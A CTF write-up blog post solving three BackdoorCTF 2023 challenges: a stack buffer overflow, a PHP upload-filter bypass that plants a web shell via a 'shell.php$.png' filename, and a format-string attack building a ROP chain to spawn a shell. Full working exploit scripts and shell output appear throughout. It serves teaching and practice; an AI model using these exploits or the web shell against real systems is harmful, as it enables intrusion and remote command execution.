Post

BackdoorCTF 2023

pwn/Marks

The Challenge

1
2
3
4
5
Score 100/100 to pass this exam

Attachments: marks.zip

nc 34.70.212.151 8004

The Solution

Here’s what happens when we run the binary

1
2
3
4
5
6
7
8
9
10
11
12
$ ./chal
Enter your details to view your marks ...
Roll Number : 1
Name : VulnX
Please Wait ...

You got 20 marks out of 100
Any Comments ?
gimme_the_flag!! 
Thanks !
Next time get 100/100 marks for shell :)
$ 

On reverse engineering the main() function we find out that the program does the following:

  1. Gives us a prompt and stores our roll number and name into local variables on the stack
  2. Sleeps for 1s
  3. Assigns a random number to marks variable and prints it out to the console.
  4. It prompts us for comments (if any) and stores our input into a 64 byte buffer on the stack.
  5. Then it compares the marks and if it is 100, then we get a shell, otherwise it rejects and exits.

Since it uses scanf for input, its pretty clear that we have a buffer overflow vulnerability.

Since marks is calculated before the comments is stored, we can use buffer overflow vulnerability to overwrite marks and insert 100 ( or 0x64 ) in that place.

All we need to do is precisely find out how many bytes will we need to overwrite stuff into the marks variable. To do that let’s open the program in GDB and set a breakpoint at main+310 and give our binary a cyclic pattern

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ gdb ./chal -q
Reading symbols from ./chal...
(No debugging symbols found in ./chal)
gdb-peda$ break * main+310
Breakpoint 1 at 0x1404

gdb-peda$ run
Starting program: /home/vulnx/Games/CTFs/BackdoorCTF/Beginner/Marks/chal
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Enter your details to view your marks ...
Roll Number : 1
Name : VulnX
Please Wait ...

You got 22 marks out of 100
Any Comments ?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Thanks !
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x61616172 ('raaa')
RBX: 0x7fffffffe6e8 --> 0x7fffffffe9d3 ("/home/vulnx/Games/CTFs/BackdoorCTF/Beginner/Marks/chal")
RCX: 0x7ffff7d00aa4 (<write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x7ffff7e3b643 --> 0xe3c710000000000a
RDI: 0x7ffff7e3c710 --> 0x0
RBP: 0x7fffffffe5d0 ("uaaavaaawaaaxaaayaaa")
RSP: 0x7fffffffe560 --> 0x586e6c7556 ('VulnX')
RIP: 0x555555555404 (<main+310>:	cmp    eax,0x64)
R8 : 0x1
R9 : 0xa ('\n')
R10: 0xffffffffffffffff
R11: 0x202
R12: 0x0
R13: 0x7fffffffe6f8 --> 0x7fffffffea0a ("ALACRITTY_LOG=/tmp/Alacritty-2578215.log")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
R15: 0x555555557d78 --> 0x555555555220 (<__do_global_dtors_aux>:	endbr64)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555553f9 <main+299>:	mov    rdi,rax
   0x5555555553fc <main+302>:	call   0x5555555550e0 <puts@plt>
   0x555555555401 <main+307>:	mov    eax,DWORD PTR [rbp-0xc]
=> 0x555555555404 <main+310>:	cmp    eax,0x64
   0x555555555407 <main+313>:	je     0x55555555541a <main+332>
   0x555555555409 <main+315>:	lea    rax,[rip+0xc88]        # 0x555555556098
   0x555555555410 <main+322>:	mov    rdi,rax
   0x555555555413 <main+325>:	call   0x5555555550e0 <puts@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe560 --> 0x586e6c7556 ('VulnX')
0008| 0x7fffffffe568 --> 0x60000000a
0016| 0x7fffffffe570 --> 0x900000
0024| 0x7fffffffe578 --> 0x0
0032| 0x7fffffffe580 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0040| 0x7fffffffe588 ("caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0048| 0x7fffffffe590 ("eaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
0056| 0x7fffffffe598 ("gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000555555555404 in main ()
gdb-peda$

I generated that aaaa... pattern by using $ cyclic 100

You can clearly see that the current instruction => 0x555555555404 <main+310>: cmp eax,0x64 is comparing the value in register eax with 0x64 ( or 100, in decimal ). This was supposed to store the marks variable but since our comments were 100 bytes instead of the allocated 64 bytes, the rest of the data got overwritten into nearby locations on the stack, one of them happens to be marks. The eax register holds the value for marks and is currently loaded with the value RAX: 0x61616172 ('raaa') proving that 0x61616172 is overwritten. Let’s use this value to calculate the offset.

1
2
$ cyclic -l 0x61616172
68

So anything after the first 64 bytes will be written over marks. Let’s create an exploit script with this information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('34.70.212.151', 8004)

p.sendlineafter(b'Roll Number : ', b'1')
p.sendlineafter(b'Name : ', b'VulnX')

offset = 68
payload  = b''
payload += b'A' * offset
payload += b'\x64'
p.sendlineafter(b'Any Comments ?\n', payload)
p.clean()

p.interactive()

and let’s give it a go

1
2
3
4
5
6
7
8
9
10
> python get_flag.py
[+] Opening connection to 34.70.212.151 on port 8004: Done
[*] Switching to interactive mode
Thanks !
Cool ! Here is your shell !
$ ls
chal
flag.txt
$ cat flag.txt
flag{Y0u_ju57_0v3rfl0wed_y0ur_m4rk5}

FLAG

flag{Y0u_ju57_0v3rfl0wed_y0ur_m4rk5}

web/php_sucks

The Challenge

1
2
3
4
5
I hate PHP, and I know you hate PHP too. So, to irritate you, here is your PHP webapp. Go play with it

http://34.132.132.69:8002/chal/upload.php

Attachment: php_sucks.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php $allowedExtensions = ["jpg", "jpeg", "png"];
$errorMsg = "";
if (
    $_SERVER["REQUEST_METHOD"] === "POST" &&
    isset($_FILES["file"]) &&
    isset($_POST["name"])
) {
    $userName = $_POST["name"];
    $uploadDir = "uploaded/" . generateHashedDirectory($userName) . "/";
    if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0750, true);
    }
    $uploadedFile = $_FILES["file"];
    $fileName = $uploadedFile["name"];
    $fileTmpName = $uploadedFile["tmp_name"];
    $fileError = $uploadedFile["error"];
    $fileSize = $uploadedFile["size"];
    $fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
    if (in_array($fileExt, $allowedExtensions) && $fileSize < 200000) {
        $fileName = urldecode($fileName);
        $fileInfo = finfo_open(FILEINFO_MIME_TYPE);
        $fileMimeType = finfo_file($fileInfo, $fileTmpName);
        finfo_close($fileInfo);
        $allowedMimeTypes = ["image/jpeg", "image/jpg", "image/png"];
        $fileName = strtok($fileName, chr(7841151584512418084));
        if (in_array($fileMimeType, $allowedMimeTypes)) {
            if ($fileError === UPLOAD_ERR_OK) {
                if (move_uploaded_file($fileTmpName, $uploadDir . $fileName)) {
                    chmod($uploadDir . $fileName, 0440);
                    echo "File uploaded successfully. <a href='$uploadDir$fileName' target='_blank'>Open File</a>";
                } else {
                    $errorMsg = "Error moving the uploaded file.";
                }
            } else {
                $errorMsg = "File upload failed with error code: $fileError";
            }
        } else {
            $errorMsg = "Don't try to fool me, this is not a png file";
        }
    } else {
        $errorMsg =
            "File size should be less than 200KB, and only png, jpeg, and jpg are allowed";
    }
}
function generateHashedDirectory($userName)
{
    $randomSalt = bin2hex(random_bytes(16));
    $hashedDirectory = hash("sha256", $userName . $randomSalt);
    return $hashedDirectory;
} ?>

...

The Solution

The only thing that comes to my mind after reading the source code is LFI to RCE vuln. But the question is how?

The backend implementation seems pretty secure since it checks:

  • The file extension from the $allowedExtensions = ["jpg", "jpeg", "png"]
  • And also the mime type by the file headers

So the only way we can successfully upload a file on their server is to upload an actual image ( or at least the image headers ) with the file extension .jpg, .jpeg or .png.

However if you take a closer look at the code, you will find a weird line $fileName = strtok($fileName, chr(7841151584512418084));. If the above conditions are met and the image is uploaded successfully, then the $fileName is modified just before storing it on the filesystem. But how exactly is it modified? According to the official PHP documentation:

strtok() splits a string (string) into smaller strings (tokens), with each token being delimited by any character from token. That is, if you have a string like “This is an example string” you could tokenize this string into its individual words by using the space character as the token.

Basically if you have something like strtok('This is a string', ' '), it will return This, similarly the weird looking line will replace fileName to a substring until the character 7841151584512418084. According to PHP that character is $:

1
2
3
php > echo(chr(7841151584512418084));
$
php >

This is cool, because if we inject PHP backdoor into a PNG file and rename it as shell.php$.png it will pass both the checks since it has PNG magic bytes and a .png extension. Also before saving it, it should be renamed to shell.php allowing us to successfully upload a php backdoor. Let’s test this locally:

1
2
3
php > echo(strtok('shell.php$.png', chr(7841151584512418084)));
shell.php
php >

Since it works, let’s make a simply python script to pop a pseudo-shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import re

header = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'
payload = b'<?php system($_GET["cmd"]); __halt_compiler(); ?>'

filename = 'shell.php$.png'

with open(filename, 'wb') as f:
    f.write(header)
    f.write(payload)

url = 'http://35.222.114.240:8002/chal/'

with requests.Session() as session:
    try:
        with open(filename, "rb") as file:
            files = {"file": file}
            data = {"name": "VulnX"}  # Separate data for the "name" field
            response = session.post(url + 'upload.php', files=files, data=data)

            link = url + re.search("a href='(.*?)'", response.text).group(1)

            while(1):
                cmd = input('$ ')
                response = session.get(link + '?cmd=' + requests.utils.quote(cmd))
                print(response.text)

    except requests.exceptions.RequestException as e:
        print("Error:", e)

And obviously get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> python solve.py
$ id
�PNG

uid=1000(ctf-player) gid=1000(ctf-player) groups=1000(ctf-player)

$ ls /var/www/html/chal
�PNG

s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt
upload.php
uploaded

$ cat /var/www/html/chal/s0_7h15_15_7h3_fl496_y0u_ar3_54rch1n9_f0r.txt
�PNG

flag{n0t_3v3ry_t1m3_y0u_w1ll_s33_nu11byt3_vuln3r4b1l1ty_0sdfdgh554fd}

FLAG

flag{n0t_3v3ry_t1m3_y0u_w1ll_s33_nu11byt3_vuln3r4b1l1ty_0sdfdgh554fd}

pwn/Baby Formatter

This challenge was super interesting and difficult for me, however due to lack of time, I couldn’t solve it during the competition. Luckily their server was running afterwards so I pwned it a day later.

The Challenge

1
2
3
4
5
Just another format string challenge. Aren't they too easy these days :)
 
https://staticbckdr.infoseciitr.in/babyformatter.zip
 
nc 34.70.212.151 8003

The Solution

On unzipping we have the following files:

1
2
3
challenge
ld-linux-x86-64.so.2
libc.so.6

The first thing to do is run pwninit so that it patches the binary to use the provided libc and loader instead of the default ones from our system, this is super helpful because after doing this we don’t need to create separate exploits for local and remote environments. After that’s done we can replace challenge_patch with challenge for convenience.

Upon initial inspection it seems to provide us with a menu and 3 options

  1. Accept you are noob ( leaks 2 memory addresses )
  2. Try the challenge ( gives us another prompt where we find the fmt vuln )
  3. Exit ( simply exits )

On further reversing and playing around we find that:

  • The two values leaked via [1] are from the stack and libc ( fgets address ) respectively
  • In [2], before our fmt vuln occurs, our input is passed to a filter() function where it checks for presence of the following chars in our input : p, u, d, x. If any one of them is present, the functions exits right away and printf(foo) is not called.

Obviously they have attempted to filter out some of the important format specifier, but quite a lot of them are still allowed.

According to the man page of printf, %#lX can be used instead of %p. Also %n is still allowed, which enables us to do an arbitrary memory write.

At this point, since we have a fair understanding of the program, it’s a good time to run checksec to see which attacks are feasible

1
2
3
4
5
6
7
8
9
$ checksec challenge
[*] '/home/vulnx/Games/CTFs/BackdoorCTF/pwn/Baby Formatter/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
$

I was going to opt for GOT overwriting but since RELRO is fully enabled, GOT won’t be writable, so we have to think of something else. Since NX is enabled, stack won’t be executable hence placing the shellcode on stack and redirecting RIP to it won’t be of any help. This leaves us with Return Oriented Programming (ROP).

So finally here’s how I pwned this challenge
We prepare the following ROP chain

  • ret ( to fix stack misalignment )
  • pop rdi ; ret
  • pointer to "/bin/sh"
  • system()

We do this by using the libc leak to calculate it’s base address at runtime ( defeating ASLR ) and subsequently use that to calculate the addresses of the above gadgets. Once we have the necessary data to prepare the payload, we write it byte-by-byte after the saved return pointer of vuln() function ( called when [2] is choosen ). This is done deliberated so that RIP returns back to main and again we go to vuln to write another byte. Hence we cannot overwrite the ret pointer until the entire ROP chain is written on the stack. The location where ROP chain starts can also be determined at runtime by using the stack leak.

I assumed that the filter will block pwntools fmtstr_payload ( but it turns that we could have used that ) so I used the manual method :D

A fuzzer like this can be used to not only leak values for analysis but also determine where our input lies:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

p = process('./challenge')
no_of_leaks = 20

def generate_payload(i):
    end = 'AAAABBBB'
    string = ''.join( '%{:02d}$#lX'.format(i) )
    string += '*' * ( 28 - len(string) - len(end) )
    string += end
    return string.encode()

for i in range(1, no_of_leaks):
    payload = generate_payload(i)
    print('Sending payload : {}.....'.format(payload), end='')
    p.sendline(b'2')
    p.sendlineafter(b'>> ', payload)
    output = p.clean()
    for line in output.split(b'\n'):
        if b'AAAABBBB' in line:
            print(line.split(b'*')[0])

p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python fuzzer.py
[+] Starting local process './challenge': pid 3744238
Sending payload : b'%01$#lX*************AAAABBBB'.....b'>> 0X78'
Sending payload : b'%02$#lX*************AAAABBBB'.....b'0XFBAD208B'
Sending payload : b'%03$#lX*************AAAABBBB'.....b'0X7FBCBD3145F2'
Sending payload : b'%04$#lX*************AAAABBBB'.....b'0'
Sending payload : b'%05$#lX*************AAAABBBB'.....b'0'
Sending payload : b'%06$#lX*************AAAABBBB'.....b'0X2A586C2324363025'
Sending payload : b'%07$#lX*************AAAABBBB'.....b'0X2A2A2A2A2A2A2A2A'
Sending payload : b'%08$#lX*************AAAABBBB'.....b'0X414141412A2A2A2A'
Sending payload : b'%09$#lX*************AAAABBBB'.....b'0X42424242'
Sending payload : b'%10$#lX*************AAAABBBB'.....b'0X5578359BDD80'
Sending payload : b'%11$#lX*************AAAABBBB'.....b'0X92C78EE688CCF300'
Sending payload : b'%12$#lX*************AAAABBBB'.....b'0X7FFDEFEA4930'
Sending payload : b'%13$#lX*************AAAABBBB'.....b'0X5578359BB4D1'
Sending payload : b'%14$#lX*************AAAABBBB'.....b'0X200001000'
Sending payload : b'%15$#lX*************AAAABBBB'.....b'0X92C78EE688CCF300'
Sending payload : b'%16$#lX*************AAAABBBB'.....b'0X1'
Sending payload : b'%17$#lX*************AAAABBBB'.....b'0X7FBCBD229D90'
Sending payload : b'%18$#lX*************AAAABBBB'.....b'0'
Sending payload : b'%19$#lX*************AAAABBBB'.....b'0X5578359BB462'
[*] Stopped process './challenge' (pid 3744238)

Clearly our desired 8 bytes are located at 8th argument, but since it’s not aligned perfectly, the following changes can be made in the fuzzer:

1
2
3
4
5
6
...
def generate_payload(i):
    end = 'AAAABBBB'
    end += '****'
    string = ''.join( '%{:02d}$#lX'.format(i) )
...
1
2
3
4
5
6
$ python fuzzer.py
[+] Starting local process './challenge': pid 4060707
...
Sending payload : b'%08$#lX*********AAAABBBB****'.....b'0X4242424241414141'
...
[*] Stopped process './challenge' (pid 4060707)

Much better. Now I write an exploit script but it fails because of the following two reason:

  1. Despite the ROP chain being on stack, the RIP simply returns to main+111 and back to vuln, so practically it never reaches our payload.
  2. Due to some reason after every printf call in vuln 0x00000002 was being overwritten to the higher nibble of the first gadget ( just below return pointer ). This meant that by the time the entire ROP chain is written on the stack, it is already corrupted.

To fix this I write the ROP chain further 8 bytes down. So the scene is something like this:

1
2
3
4
5
6
7
+----------------------+ <-- SAVED RET POINTER
|  SAVED RET POINTER   |
|----------------------| <-- (SAVED RET POINTER) + 8
| 0X00000002 overwrite |
|----------------------| <-- (SAVED RET POINTER) + 16
|    ROP starts here   |
|          ...         |

This solves problem 2 however problem 1 still persists. To solve that I decided to further complicate it by leaking another value from the program. This one is %13$#lX, this is actually from the binary itself and can be used to calculate the base address of our binary as runtime ( defeating PIE ). The reason for doing so is that, now we have access to not only gadgets from libc but from the original binary itself. It gets important because of what we are about to do next. We use tools like ROPgadget to search for a specific gadget ( will be explained later ).

1
2
$ ROPgadget --binary challenge | grep ": pop .* ; ret$"
0x0000000000001223 : pop rbp ; ret

Since this gadget is from the binary itself, the difference between memory addresses of main+111 and this gadget is just of two LSB, which we can overwrite in one go. To summarize, here’s our new strategy:

  1. Leak values from [1] and %13$#lX and calculate libc base, binary base
  2. Prepare the ROP chain
  3. Write the ROP chain byte-by-byte at (SAVED RET POINTER) + 16.
  4. Do a partial overwrite at SAVED RET POINTER with 2 LSB of pop rbp ; ret gadget from binary.

Now let’s discuss the significance of pop * ; ret. Since our shellcode is below the current return pointer, it would practically never be executed unless we ret into it. However, simply calling ret would return into (SAVED RET POINTER) + 8, where the overwritten 0x00000002 lies. For obvious reasons that will crash the program and again our payload isn’t executed. So we need to not only remove a value from the top of the stack but also return into next one. pop rbp ; ret serves as the perfect candidate here. Once we overwrite SAVED RET POINTER our code execution will be redirected to pop rbp, that instruction will remove the value at the top of the stack ( which happens to be 0x00000002 ), the RSP now points to the start of our ROP chain. The subsequent ret instruction would just go about executing it.

So finally, here’s the pwn script you have been waiting for

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

# [========== PWNTOOLS BOILERPLATE CODE ==========]
elf = ELF('./challenge')
context.binary = elf
context.log_level = 'Critical'
context(terminal=['tmux', 'split-window', '-h'])
libc = elf.libc
# p = elf.process()
p = remote('34.70.212.151', 8003)
libc = ELF('./libc.so.6')

# [========= PREPARE NECESSARY FUNCTIONS =========]
def arb_write_single(where, what):
    p.sendline(b'2')
    end = p64( where )
    end += b'****'
    payload = b''
    if what != 0:
        payload += ('%{}c'.format(what)).encode()
    payload += b'%8$hhn'
    payload += b'*' * (28 - len(payload) - len(end))
    payload += end
    p.sendafter(b'Enter input\n>> ', payload)
    p.recvuntil(b'3. Exit\n>> ')

def arb_write_double(where, what):
    p.sendline(b'2')
    end = p64( where )
    end += b'****'
    payload = b''
    if what != 0:
        payload += ('%{}c'.format(what)).encode()
    payload += b'%8$hn'
    payload += b'*' * (28 - len(payload) - len(end))
    payload += end
    p.sendafter(b'Enter input\n>> ', payload)

# [============== LEAK VIA OPTION 1 ==============]
p.sendlineafter(b'>> ', b'1')
p.recvuntil(b'0x')
stack_leak = int( p.recvuntil(b' ').strip(), 16 )
libc_leak = int( p.recvline().strip(), 16 )

# [=========== LEAK VIA 13TH ARG ============]
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'%13$#lX*********AAAABBBB****')
binary_leak = int( p.recvuntil(b'*').strip()[:-1], 16 )

# [============= CALCULATE BASE ADDR =============]
libc_base = libc_leak - libc.symbols['fgets']
binary_base = binary_leak - 0x14d1
saved_ret_pointer = stack_leak + 0x18
payload_start_location = saved_ret_pointer + 16
pop_rbp_ret = binary_base + 0x0000000000001223

# [=============== PREPARE PAYLOAD ===============]
rop = ROP(libc)
payload  = b''
payload += p64( libc_base + rop.find_gadget(['ret']).address )
payload += p64( libc_base + rop.find_gadget(['pop rdi', 'ret']).address )
payload += p64( libc_base + next(libc.search(b'/bin/sh\x00')) )
payload += p64( libc_base + libc.symbols['system'] )
print('Payload length : {} bytes'.format(len(payload)))

# [================ SEND PAYLOAD =================]
for i, c in enumerate(payload):
    arb_write_single(payload_start_location + i , c)
    print('Sending payload {:.2f}%...'.format( (i * 100) / (len(payload) - 1) ), end='\n' if i == len(payload) - 1 else '\r' )

# [============ OVERWRITE RET POINTER ============]
arb_write_double(saved_ret_pointer, pop_rbp_ret & 0xffff)

# [================= START SHELL =================]
p.clean()
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
> python pwn.py
[*] '/home/vulnx/Games/CTFs/BackdoorCTF/pwn/Baby Formatter/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'
Payload length : 32 bytes
Sending payload 100.00%...
$ ls
chall
flag
ld-linux-x86-64.so.2
libc.so.6
$ cat flag
flag{F0rm47_5tr1ng5_4r3_7o0_3asy}
$

FLAG

flag{F0rm47_5tr1ng5_4r3_7o0_3asy}

This post is licensed under CC BY 4.0 by the author.